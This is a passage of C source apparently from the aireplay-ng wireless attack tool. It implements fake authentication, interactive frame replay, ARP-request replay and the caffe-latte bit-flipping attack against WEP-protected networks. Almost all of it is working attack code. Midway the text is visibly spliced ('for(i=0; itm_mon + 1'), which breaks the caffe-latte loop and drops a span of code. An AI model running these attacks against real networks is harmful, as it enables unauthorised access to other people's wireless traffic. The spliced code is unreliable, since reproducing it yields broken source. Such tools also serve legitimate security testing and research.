|| state == 3) ) { if(ska) { if( (state==1 && h80211[26] != 0x02) || (state==3 && h80211[26] != 0x04) ) continue; } printf("\n"); PCT; state = 0; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); read_sleep( 3*1000000 ); challengelen = 0; continue; } if( (h80211[24] != 0 || h80211[25] != 0) && ska==0) { ska=1; printf("Switching to shared key authentication\n"); read_sleep(2*1000000); //read sleep 2s challengelen = 0; continue; } n = h80211[28] + ( h80211[29] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "AP rejects the source MAC address (%02X:%02X:%02X:%02X:%02X:%02X) ?\n", opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); break; case 10: printf( "AP rejects our capabilities\n" ); break; case 13: case 15: ska=1; if(h80211[26] == 0x02) printf("Switching to shared key authentication\n"); if(h80211[26] == 0x04) { printf("Challenge failure\n"); challengelen=0; } read_sleep(2*1000000); //read sleep 2s challengelen = 0; continue; default: break; } printf( "Authentication failed (code %d)\n", n ); if(opt.npackets == -1) x_send = 4; read_sleep( 3*1000000 ); challengelen = 0; continue; } if(ska && h80211[26]==0x02 && challengelen == 0) { memcpy(challenge, h80211+24, caplen-24); challengelen=caplen-24; } if(ska) { if(h80211[26]==0x02) { state = 2; /* grab challenge */ printf( "Authentication 1/2 successful\n" ); } if(h80211[26]==0x04) { state = 4; printf( "Authentication 2/2 successful\n" ); } } else { printf( "Authentication successful\n" ); state = 4; /* auth. done */ } } /* check if we got an association response */ if( h80211[0] == 0x10 && state == 5 ) { printf("\n"); state = 0; PCT; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); sleep( 3 ); challengelen = 0; continue; } n = h80211[26] + ( h80211[27] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "Denied (code 1), is WPA in use ?\n" ); break; case 10: printf( "Denied (code 10), open (no WEP) ?\n" ); break; case 12: printf( "Denied (code 12), wrong ESSID or WPA ?\n" ); break; default: printf( "Association denied (code %d)\n", n ); break; } sleep( 3 ); challengelen = 0; continue; } aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF); printf( "Association successful :-) (AID: %d)\n", aid ); deauth_wait = 3; fflush( stdout ); tt = time( NULL ); tr = time( NULL ); state = 6; /* assoc. done */ } /* check if we got an reassociation response */ if( h80211[0] == 0x30 && state == 8 ) { printf("\n"); state = 7; PCT; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); sleep( 3 ); challengelen = 0; continue; } n = h80211[26] + ( h80211[27] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "Denied (code 1), is WPA in use ?\n" ); break; case 10: printf( "Denied (code 10), open (no WEP) ?\n" ); break; case 12: printf( "Denied (code 12), wrong ESSID or WPA ?\n" ); break; default: printf( "Reassociation denied (code %d)\n", n ); break; } sleep( 3 ); challengelen = 0; continue; } aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF); printf( "Reassociation successful :-) (AID: %d)\n", aid ); deauth_wait = 3; fflush( stdout ); tt = time( NULL ); tr = time( NULL ); state = 6; /* reassoc. done */ } } } return( 0 ); } int do_attack_interactive( void ) { int caplen, n, z; int mi_b, mi_s, mi_d; struct timeval tv; struct timeval tv2; float f, ticks[3]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; read_packets: if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; /* rewrite the frame control & MAC addresses */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 ) memcpy( bssid, h80211 + mi_b, 6 ); else memcpy( bssid, opt.r_bssid, 6 ); if( memcmp( opt.r_smac , NULL_MAC, 6 ) == 0 ) memcpy( smac, h80211 + mi_s, 6 ); else memcpy( smac, opt.r_smac, 6 ); if( memcmp( opt.r_dmac , NULL_MAC, 6 ) == 0 ) memcpy( dmac, h80211 + mi_d, 6 ); else memcpy( dmac, opt.r_dmac, 6 ); if( opt.r_fctrl != -1 ) { h80211[0] = opt.r_fctrl >> 8; h80211[1] = opt.r_fctrl & 0xFF; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } } memcpy( h80211 + mi_b, bssid, 6 ); memcpy( h80211 + mi_s, smac , 6 ); memcpy( h80211 + mi_d, dmac , 6 ); /* loop resending the packet */ /* Check if airodump-ng is running. If not, print that message */ printf( "You should also start airodump-ng to capture replies.\n\n" ); signal( SIGINT, sighandler ); ctrl_c = 0; memset( ticks, 0, sizeof( ticks ) ); nb_pkt_sent = 0; while( 1 ) { if( ctrl_c ) goto read_packets; /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION))); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 ) continue; /* threshold reached */ ticks[2] = 0; if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( h80211, caplen ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( h80211, caplen ) < 0 ) return( 1 ); } } return( 0 ); } int do_attack_arp_resend( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; memset( opt.f_dmac, 0xFF, 6 ); if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); fclose( f_cap_out ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); fclose( f_cap_out ); return( 1 ); } } if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); free( arp ); fclose( f_cap_out ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (got %ld ARP requests and %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) { free( arp ); fclose( f_cap_out ); return( 1 ); } if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) { free( arp ); fclose( f_cap_out ); return( 1 ); } } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) { free( arp ); fclose( f_cap_out ); return( 1 ); } if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disassociation or deauthentication packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 1: /* ToDS */ { /* keep as a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_dmac, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } case 2: /* FromDS */ { if( opt.r_fromdsinj ) { /* keep as a FromDS packet */ memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_bssid, 6 ); memcpy( h80211 + 16, opt.r_smac, 6 ); h80211[1] = 0x42; /* FromDS & WEP */ } else { /* rewrite header to make it a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_dmac, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } } } //should be correct already, keep qos/wds status // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) { /* no more room, overwrite oldest entry */ memcpy( arp[arp_off2].buf, h80211, caplen ); arp[arp_off2].len = caplen; arp[arp_off2].hdrlen = z; if( ++arp_off2 >= nb_arp ) arp_off2 = 0; } else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); free(arp); fclose( f_cap_out ); return( 1 ); } memcpy( arp[nb_arp].buf, h80211, caplen ); arp[nb_arp].len = caplen; arp[nb_arp].hdrlen = z; nb_arp++; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); free( arp ); fclose( f_cap_out ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); free( arp ); fclose( f_cap_out ); return( 1 ); } fflush( f_cap_out ); } } } return( 0 ); } int do_attack_caffe_latte( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; unsigned char flip[4096]; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; opt.f_fromds = 0; if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a BSSID (-b).\n" ); return( 1 ); } /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); fclose( f_cap_out ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); fclose( f_cap_out ); return( 1 ); } } if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); free( arp ); fclose( f_cap_out ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) { free( arp ); fclose( f_cap_out ); return( 1 ); } if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) { free( arp ); fclose( f_cap_out ); return( 1 ); } } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) { free( arp ); fclose( f_cap_out ); return( 1 ); } if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disas. or deauth packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.f_bssid, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: /* ad-hoc */ { if(memcmp(h80211 + 16, BROADCAST, 6) == 0) { /* rewrite to an ad-hoc packet */ memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); h80211[1] = 0x40; /* WEP */ } else { nb_arp_tot++; continue; } break; } case 1: /* ToDS */ { if(memcmp(h80211 + 16, BROADCAST, 6) == 0) { /* rewrite to a FromDS packet */ memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.f_bssid, 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); h80211[1] = 0x42; /* ToDS & WEP */ } else { nb_arp_tot++; continue; } break; } default: continue; } // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) continue; else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); free(arp); fclose( f_cap_out ); return( 1 ); } memset(flip, 0, 4096); // flip[49-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC // flip[53-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP flip[z+21] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC flip[z+25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, caplen-z-4-4); for(i=0; itm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); free(arp); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); free(arp); fclose( f_cap_out ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); printf( "Remember to filter the capture to only keep WEP frames: "); printf( " \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n"); //printf( "Remember to filter the capture to keep only broadcast From-DS frames.\n"); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); free(arp); fclose( f_cap_out ); return( 1 ); } } memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); free( arp ); fclose( f_cap_out ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) { free(arp); fclose( f_cap_out ); return( 1 ); } if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) { free(arp); fclose( f_cap_out ); return( 1 ); } } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) { free( arp ); fclose( f_cap_out ); return( 1 ); } if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disas. or deauth packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.f_bssid, 6 ) ) { 